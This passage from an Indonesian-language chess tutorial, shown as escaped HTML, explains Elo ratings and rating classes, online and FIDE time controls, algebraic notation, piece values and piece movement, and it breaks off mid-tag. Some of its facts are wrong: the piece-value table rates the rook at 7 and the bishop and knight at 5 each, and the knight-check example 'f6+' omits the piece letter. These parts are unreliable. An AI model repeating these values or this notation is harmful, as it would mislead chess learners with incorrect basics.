sekitar tiga dari empat (75%) pertandingan. Sehingga, sistem Elo &lt;em&gt;rating&lt;/em&gt; bukanlah ukuran absolut dari kekuatan atau skill catur seseorang.&lt;/p&gt;&lt;p&gt;Selain itu, Elo &lt;em&gt;rating&lt;/em&gt; dalam catur juga berfungsi untuk menentukan sistem pemberian poinnya juga. Maksudnya, seorang pemain catur yang memiliki skor Elo yang tinggi tidak akan mendapatkan poin yang banyak jika mengalahkan pemain dengan Elo yang lebih rendah. Sebaliknya, pemain dengan Elo &lt;em&gt;rating&lt;/em&gt; rendah bisa mendapatkan poin yang banyak jika mengalahkan pemain lain denga Elo &lt;em&gt;rating&lt;/em&gt; yang lebih tinggi darinya. Contohnya adalah sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.n41C65JG_Z2awydI.webp&quot; alt=&quot;Pemain dengan Elo 1479 yang mengalahkan pemain lain dengan Elo 495 mendapat lebih sedikit atau bahkan tidak mendapatkan poin sama sekali.&quot; loading=&quot;lazy&quot; width=&quot;597&quot; height=&quot;653&quot; /&gt;&lt;figcaption&gt;Pemain dengan Elo 1479 yang mengalahkan pemain lain dengan Elo 495 mendapat lebih sedikit atau bahkan tidak mendapatkan poin sama sekali.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss5.CC0RiXk2_xPOwM.webp&quot; alt=&quot;Pemain dengan Elo 1463 yang dikalahkan oleh pemain lain dengan Elo 516 mengurangi poin Elo-nya secara signifikan.&quot; loading=&quot;lazy&quot; width=&quot;597&quot; height=&quot;653&quot; /&gt;&lt;figcaption&gt;Pemain dengan Elo 1463 yang dikalahkan oleh pemain lain dengan Elo 516 mengurangi poin Elo-nya secara signifikan.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Elo Rating Penting?&lt;a href=&quot;#elo-rating-penting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Beberapa kegunaan adanya sistem pengukuran level catur seperti sistem Elo ini diantaranya yaitu:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Cara termudah untuk menilai kemampuan atau level bermain catur seseorang.&lt;/li&gt;
&lt;li&gt;Menilai lebih objektif karena didasarkan pada hasil permainan seseorang sebelumnya alih-alih penilaian subjektif seperti melabeli seseorang jago bermain catur berdasarkan “pengorbanan cantik”, dan lainnya.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Meskipun demikian, membuat sistem pengukuran semacam Elo &lt;em&gt;rating&lt;/em&gt; hanyalah sebuah pendekatan untuk mengukur level bermain catur seseorang. Sebab, Arpad Elo sendiri sebagai pencipta Elo &lt;em&gt;rating&lt;/em&gt; mengatakan bahwa mengukur level bermain catur seseorang secara tepat hampir tidak mungkin. Dalam sebuah artikelnya, dia pernah berkata:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;“The measurement of the rating of an individual might well be compared with the measurement of the position of a cork bobbing up and down on the surface of agitated water with a yardstick tied to a rope and which is swaying in the wind.”&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;— Arpad Elo, creator of the Elo rating system&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Kategori Pemain Berdasarkan Rating&lt;a href=&quot;#kategori-pemain-berdasarkan-rating&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah kategori pemain catur berdasarkan &lt;em&gt;rating&lt;/em&gt;-nya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;




















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Kategori / Kelas&lt;/th&gt;&lt;th&gt;Elo Rating&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Supergrandmaster&lt;/td&gt;&lt;td&gt;&amp;gt; 2700&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Grandmaster&lt;/td&gt;&lt;td&gt;2500 - 2700&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;International Master&lt;/td&gt;&lt;td&gt;2400 - 2500&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;FIDE Master&lt;/td&gt;&lt;td&gt;2300 - 2400&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;FIDE Candidate master / National Master&lt;/td&gt;&lt;td&gt;2200 - 2300&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Expert / National Candidate Master&lt;/td&gt;&lt;td&gt;2000 - 2200&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Class A Player&lt;/td&gt;&lt;td&gt;1800 - 1999&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Class B Player&lt;/td&gt;&lt;td&gt;1600 - 1799&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Class C Player&lt;/td&gt;&lt;td&gt;1400 - 1599&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Class D Player&lt;/td&gt;&lt;td&gt;1200 - 1399&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Class E Player&lt;/td&gt;&lt;td&gt;1000 - 1199&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Dimanakah posisi Elo &lt;em&gt;rating&lt;/em&gt; kalian, guys?&lt;/p&gt;&lt;p&gt;Berikut Top 10 Super Grandmaster (per artikel ini dibuat) berdasarkan website FIDE:
&lt;img src=&quot;/_astro/ss6.DjTLVIQZ_rEXcB.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;542&quot; /&gt;&lt;/p&gt;&lt;p&gt;Selengkapnya, bisa kunjungi website resmi FIDE:  &lt;a href=&quot;https://ratings.fide.com/&quot; target=&quot;_blank&quot;&gt;https://ratings.fide.com/&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Kontrol Waktu Catur&lt;a href=&quot;#kontrol-waktu-catur&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sejak lahirnya sistem pe-waktu-an, permainan catur bisa menjadi lebih kompetitif sebab seorang pemain memiliki waktu yang terbatas sehingga tidak bisa berfikir terlalu lama. Permainan catur juga dapat diklasifikasikan berdasarkan kontrol waktu yand digunakan. Berikut adalah klasifikasi permainan catur berdasarkan kontrol waktunya yang saya rujuk ke &lt;a href=&quot;https://chess.com&quot; target=&quot;_blank&quot;&gt;Chess.com&lt;/a&gt; &lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/_astro/ss7.BbvcBvmC_Z62sbY.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1272&quot; height=&quot;548&quot; /&gt;&lt;/p&gt;














































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Jenis Permainan Catur&lt;/th&gt;&lt;th&gt;Kontrol Waktu&lt;/th&gt;&lt;th&gt;Keterangan&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;Bullet&lt;/td&gt;&lt;td&gt;2 | 1&lt;/td&gt;&lt;td&gt;2 menit + 1 detik tambahan setiap selesai melangkah&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1 | 1&lt;/td&gt;&lt;td&gt;1 menit + 1 detik tambahan setiap selesai melangkah&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1 min&lt;/td&gt;&lt;td&gt;1 menit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;30 sec&lt;/td&gt;&lt;td&gt;30 detik&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;20 sec | 1&lt;/td&gt;&lt;td&gt;20 detik + 1 detik tambahan setiap selesai melangkah&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;Blitz&lt;/td&gt;&lt;td&gt;5 | 5&lt;/td&gt;&lt;td&gt;5 menit + 5 detik tambahan setiap selesai melangkah&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;5 | 2&lt;/td&gt;&lt;td&gt;5 menit + 2 detik tambahan setiap selesai melangkah&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;5 min&lt;/td&gt;&lt;td&gt;5 menit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;3 | 2&lt;/td&gt;&lt;td&gt;3 menit + 2 detik tambahan setiap selesai melangkah&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;3 min&lt;/td&gt;&lt;td&gt;3 menit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;Rapid&lt;/td&gt;&lt;td&gt;60 min&lt;/td&gt;&lt;td&gt;60 menit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;30 min&lt;/td&gt;&lt;td&gt;30 menit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;20 min&lt;/td&gt;&lt;td&gt;20 menit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;15 | 10&lt;/td&gt;&lt;td&gt;15 menit + 10 detik tambahan setiap selesai melangkah&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;10 | 5&lt;/td&gt;&lt;td&gt;10 menit + 5 detik tambahan setiap selesai melangkah&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;10 min&lt;/td&gt;&lt;td&gt;10 menit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;Daily&lt;/td&gt;&lt;td&gt;14 hari&lt;/td&gt;&lt;td&gt;14 hari (336 jam)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;7 hari&lt;/td&gt;&lt;td&gt;7 hari  (168 jam)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;5 hari&lt;/td&gt;&lt;td&gt;5 hari (120 jam)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;3 hari&lt;/td&gt;&lt;td&gt;3 hari (72 jam)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;2 hari&lt;/td&gt;&lt;td&gt;2 hari (48 jam)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1 hari&lt;/td&gt;&lt;td&gt;1 hari (24 jam)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Dengan perbedaan jenis permainan seperti itu, Chesscom juga memberlakukan sistem &lt;em&gt;rating&lt;/em&gt; yang berbeda-beda. Jadi, ada &lt;em&gt;rating&lt;/em&gt; sendiri untuk permainan catur bullet, blitz, rapid, dan sebagainya. Selain itu, dalam kejuaraan dunia catur, FIDE mengeluarkan aturan kontrol waktu catur classical yang lebih kompleks dari yang kontrol waktu dari Chesscom seperti yang ada pada tabel di atas. Aturan permainan catur classical adalah sebagai berikut:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;“Time controls for the World Championship games are 120 minutes for the first 40 moves, followed by 60 minutes for the next 20 moves and then 15 minutes for the rest of the game with an increment of 30 seconds per move starting on move 61.”&lt;/strong&gt;&lt;br /&gt;
— FIDE&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Notasi Catur&lt;a href=&quot;#notasi-catur&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Seperti yang sudah saya bahas di bagian awal artikel ini, buah catur yang dimiliki seorang pemain catur berjumlah 16 buah, yang terdiri dari perwira dan pion:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;1 Raja / King (K),&lt;/li&gt;
&lt;li&gt;1 Menteri atau Ratu / Queen (Q),&lt;/li&gt;
&lt;li&gt;2 Gajah atau Peluncur atau Seluncur / Bishop (B): 1 Gajah Terang &amp;amp; 1 Gajah Gelap,&lt;/li&gt;
&lt;li&gt;2 Kuda / Knigt (N),&lt;/li&gt;
&lt;li&gt;2 Benteng / Rook (R), dan&lt;/li&gt;
&lt;li&gt;8 buah pion.&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note!&lt;/strong&gt;&lt;br /&gt;
Dalam beberapa kesempatan, saya pernah melihat notasi penulisan buah catur tidak lagi menggunakan singkatan seperti “K”, “Q”, “B”, “N”, dan “R” karena digantikan dengan icon atau logo dari perwira atau buah caturnya langsung. Tujuannya tentu saja untuk memudahkan kita membaca notasi catur.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Pion tidak memiliki singkatan sebagaimana buah catur lain, seperti “K”, “Q”, “B”, “N”, dan “R” karena pion bukan perwira sehingga pion tidak memiliki singkatan.&lt;br /&gt;
Papan catur sendiri merupakan papan berukuran 8x8 sehingga satu papan catur memiliki 64 kotak kecil yang berwarna gelap dan terang. Sisi-sisi papan yang menghadap pemain catur disimbolkan dengan huruf &lt;strong&gt;a - h&lt;/strong&gt; sedangkan sisi-sisi papan yang ada di samping disimbolkan dengan angka &lt;strong&gt;1 - 8&lt;/strong&gt; sehingga setiap kotak kecil yang ada di atas papan memiliki alamatnya sendiri.&lt;/p&gt;&lt;p&gt;Perhatikan kedua gambar di bawah ini!&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss8.BSfT8pz5_1hPRhw.webp&quot; alt=&quot;Gambar Sisi-sisi Papan&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;800&quot; /&gt;&lt;figcaption&gt;Gambar Sisi-sisi Papan&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss9.BXd75SaR_2muiIA.webp&quot; alt=&quot;Gambar Alamat pada Setiap Kotak di Papan&quot; loading=&quot;lazy&quot; width=&quot;801&quot; height=&quot;801&quot; /&gt;&lt;figcaption&gt;Gambar Alamat pada Setiap Kotak di Papan&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Petak &lt;strong&gt;a1&lt;/strong&gt; akan selalu berada di pojok kiri papan pemain putih!&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berdasarkan singkatan setiap perwira &amp;amp; pion serta alamat pada setiap petak/kotak yang ada di papan tersebut, pergerakan buah catur di atas papan dapat dinotasikan dengan menulis singkatan buah catur yang bergerak dan petak/kotak yang ditempatinya. Jika ternyata di petak yang ditempati tersebut ada buah catur lawan, maka kita bisa menambahkan “x” diantara singkatan buah catur yang bergerak dan alamat petak yang ditempati tersebut. Misalnya, &lt;strong&gt;Kuda (N)&lt;/strong&gt; berpindah dari petak &lt;strong&gt;g1&lt;/strong&gt; ke &lt;strong&gt;f3&lt;/strong&gt;, maka notasinya adalah &lt;strong&gt;Nf3&lt;/strong&gt;. Jika ternyata di petak &lt;strong&gt;f3&lt;/strong&gt; ada buah catur lawan, maka notasinya akan menjadi &lt;strong&gt;Nxf3&lt;/strong&gt;. Adapun notasi &lt;strong&gt;rokade&lt;/strong&gt; ditulis dengan &lt;strong&gt;O-O&lt;/strong&gt; jika dilakukan ke sayap Raja dan notasi rokade ditulis &lt;strong&gt;O-O-O&lt;/strong&gt; jika dilakukan ke sayap Menteri.&lt;/p&gt;&lt;p&gt;Adapun notasi untuk skak adalah dengan menambahkan tanda tambah &lt;strong&gt;(+)&lt;/strong&gt; setelah alamat petak yang ditempati buah catur yang melakukan skak ditulis, sedangkan notasi skakmat adalah dengan menambahkan tanda pagar setelah alamat petak buah catur yang melakukan skakmat ditulis. Misalnya &lt;strong&gt;Raja (K)&lt;/strong&gt; di &lt;strong&gt;e8&lt;/strong&gt; terkena skak oleh &lt;strong&gt;Kuda (N)&lt;/strong&gt; di &lt;strong&gt;f6&lt;/strong&gt;, maka notasinya adalah &lt;strong&gt;f6+&lt;/strong&gt;. Contoh skakmat misalnya, &lt;strong&gt;Menteri (Q)&lt;/strong&gt; di &lt;strong&gt;h5&lt;/strong&gt; melakukan skakmat ke &lt;strong&gt;Raja (K)&lt;/strong&gt; di &lt;strong&gt;e8&lt;/strong&gt;, maka notasinya adalah &lt;strong&gt;Qh5#&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Notasi tersebut ditulis dan disusun berdasarkan langkah-langkah yang dibuat oleh masing-masing pemain. Artinya, pada langkah pertama, akan ada dua notasi, yaitu notasi langkah dari pemain putih dan notasi langkah dari pemain hitam. Dengan demikian, yang dimaksud dengan “langkah pertama” adalah gabungan langkah pertama dari kedua pemain (pemain putih dan pemain hitam). Begitupula seterusnya hingga langkah terakhir. Misalnya, permainan baru dimulai dan pemain putih menjalankan &lt;strong&gt;Kuda (N)&lt;/strong&gt; dari &lt;strong&gt;g1&lt;/strong&gt; ke &lt;strong&gt;f3&lt;/strong&gt;, kemudian pemain hitam membalas dengan menjalankan pion dari petak &lt;strong&gt;b7&lt;/strong&gt; ke &lt;strong&gt;b6&lt;/strong&gt;, maka notasi yang akan ditulis yaitu &lt;strong&gt;1. Nf3 b6&lt;/strong&gt;. Inilah langkah pertama. Jika pemain meneruskan permainan, misalnya pemain putih menjalankan pion &lt;strong&gt;e2&lt;/strong&gt; ke &lt;strong&gt;e3&lt;/strong&gt; dan pemain hitam mengeluarkan gajah di &lt;strong&gt;c8&lt;/strong&gt; ke &lt;strong&gt;b7&lt;/strong&gt;, maka notasinya adalah &lt;strong&gt;1. Nf3 b6 2. e3 Bb7&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Supaya lebih mudah memahami notasi catur, perhatikan 9 langkah catur pada permainan berikut!&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Nilai Buah Catur&lt;a href=&quot;#nilai-buah-catur&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Dalam sebuah kerajaan, tentu saja nilai seorang Jenderal tidak bisa disamakan dengan nilai seorang tentara biasa. Begitupula dalam catur, setiap buah catur memiliki nilainya masing-masing. Buah catur yang memiliki nilai tertinggi adalah Menteri, sementara buah catur yang memiliki nilai paling rendah adalah pion. Fungsi nilai buah catur adalah untuk menentukan keunggulan dalam permainan catur. Misalnya, seorang pemain yang hanya memiliki 2 Menteri di atas papan dianggap lebih unggul dibandingkan dengan lawannya yang memiliki 2 Gajah dan 2 Kuda.&lt;br /&gt;
Berikut adalah nilai dari setiap buah catur:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-8&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;




























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Buah Catur&lt;/th&gt;&lt;th&gt;Nilai&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Menteri&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Benteng&lt;/td&gt;&lt;td&gt;7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Gajah&lt;/td&gt;&lt;td&gt;5&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Kuda&lt;/td&gt;&lt;td&gt;5&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Pion&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note!&lt;/strong&gt;&lt;br /&gt;
Raja tidak memiliki nilai bukan karena tidak bernilai, tapi karena tidak ternilai. Sebab, tanpa Raja, tidak ada permainan catur atau jika Raja terkena skakmat, maka permainan catur berakhir.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Cara Bermain Catur&lt;a href=&quot;#cara-bermain-catur&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pada dasarnya, cara bermain catur adalah dengan menggerakkan buah-buah catur yang ada di atas papan secara bergantian setiap langkah dengan tujuan untuk men-&lt;a href=&quot;https://www.chess.com/id/terms/skakmat&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;”Skakmat”&lt;/strong&gt;&lt;/a&gt; Raja lawan. Skak (&lt;em&gt;check&lt;/em&gt; dalam bahasa Inggris) adalah kondisi ketika Raja diserang. Sementara Skakmat (&lt;em&gt;checkmate&lt;/em&gt; dalam bahasa Inggris, atau biasa juga disingkat dengan Mat) adalah kondisi dimana Raja terkena Skak dan tidak memiliki langkah atau petak untuk berpindah atau bergerak serta tidak ada buah catur yang dapat melindunginya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss33.DOIxMaAm_1gFW9i.webp&quot; alt=&quot;Skak (Check)&quot; loading=&quot;lazy&quot; width=&quot;791&quot; height=&quot;794&quot; /&gt;&lt;figcaption&gt;Skak (Check)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss32.DeD5japd_ZTKeQe.webp&quot; alt=&quot;Skakmat (Checkmate)&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;790&quot; /&gt;&lt;figcaption&gt;Skakmat (Checkmate)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;section&gt;&lt;h3&gt;Pergerakan Buah Catur&lt;a href=&quot;#pergerakan-buah-catur&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Masing-masing buah catur, baik perwira seperti Raja, Menteri, Gajah, Kuda, Benteng maupun pion-pion, memiliki aturan bergeraknya masing-masing. Berikut adalah aturan cara bergerak masing-masing buah catur:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss10.CAUvzM2A_15XNjq.webp&quot; alt=&quot;Raja (King): Raja hanya dapat bergerak atau berpindah satu petak yang ada di dekatnya.&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;792&quot; /&gt;&lt;figcaption&gt;Raja (King): Raja hanya dapat bergerak atau berpindah satu petak yang ada di dekatnya.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss11.BvgdbxAq_Z1cLslh.webp&quot; alt=&quot;Menteri/Ratu (Queen): Menteri dapat bergerak secara vertikal, horizontal, maupun diagonal.&quot; loading=&quot;lazy&quot; width=&quot;791&quot; height=&quot;794&quot; /&gt;&lt;figcaption&gt;Menteri/Ratu (Queen): Menteri dapat bergerak secara vertikal, horizontal, maupun diagonal.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss12.DVYGdwrb_Z1WO5qx.webp&quot; alt=&quot;Gajah (Bishop): Gajah terang bergerak secara diagonal di petak terang, sementara gajah gelap bergerak secara diagonal di petak gelap.&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;790&quot; /&gt;&lt;figcaption&gt;Gajah (Bishop): Gajah terang bergerak secara diagonal di petak terang, sementara gajah gelap bergerak secara diagonal di petak gelap.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss13.qWWhjONw_j5VeR.webp&quot; alt=&quot;Kuda (Knight): Kuda dapat bergerak dengan bentuk L.&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;794&quot; /&gt;&lt;figcaption&gt;Kuda (Knight): Kuda dapat bergerak dengan bentuk L.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss14.D6RV_j-d_yRSJG.webp&quot; alt=&quot;Benteng (Rook): Benteng dapat bergerak secara vertikal dan horizontal.&quot; loading=&quot;lazy&quot; width=&quot;795&quot; height=&quot;792&quot; /&gt;&lt;figcaption&gt;Benteng (Rook): Benteng dapat bergerak secara vertikal dan horizontal.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss15.Ci2oVkf1_Z1ttRsq.webp&quot; alt=&quot;Pion (Pawn): Pion hanya dapat bergerak maju satu petak ke depan.&quot; loading=&quot;lazy&quot; width=&quot;791&quot; height=&quot;789&quot; /&gt;&lt;figcaption&gt;Pion (Pawn): Pion hanya dapat bergerak maju satu petak ke depan.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Aturan pergerakan di atas adalah pergerakan normal masing-masing buah catur di atas papan, tanpa ada buah catur yang lain, baik buah catur lawan maupun buah catur timnya sendiri. Bila ada buah catur lain di atas papan, maka ada beberapa aturan tambahan lagi. Berikut adalah beberapa ketentuan catur lainnya yang perlu diketahui:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Jika ada buah catur tim di petak-petak yang dilewati atau ditempati oleh buah catur utama, maka petak tersebut tidak dapat ditempati atau dilewati. Khusus untuk kuda, kuda dapat melangkahi buah catur lain dan masih tetap bergerak selagi petak-petaknya tidak ditempati oleh buah catur tim yang lain. Berikut contohnya.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss16.Cb4bRHuR_Z1JQQnp.webp&quot; alt=&quot;Raja (King)&quot; loading=&quot;lazy&quot; width=&quot;792&quot; height=&quot;793&quot; /&gt;&lt;figcaption&gt;Raja (King)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss17.DqAdk4Io_ZQrgb8.webp&quot; alt=&quot;Menteri/Ratu (Queen)&quot; loading=&quot;lazy&quot; width=&quot;792&quot; height=&quot;794&quot; /&gt;&lt;figcaption&gt;Menteri/Ratu (Queen)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss18.BTcRubrZ_1iE0h4.webp&quot; alt=&quot;Gajah (Bishop)&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;792&quot; /&gt;&lt;figcaption&gt;Gajah (Bishop)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss19.BmpV0_JQ_153Kni.webp&quot; alt=&quot;Kuda (Knight)&quot; loading=&quot;lazy&quot; width=&quot;790&quot; height=&quot;790&quot; /&gt;&lt;figcaption&gt;Kuda (Knight)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss20.DNHkOpVF_Z1iwWCy.webp&quot; alt=&quot;Benteng (Rook)&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;792&quot; 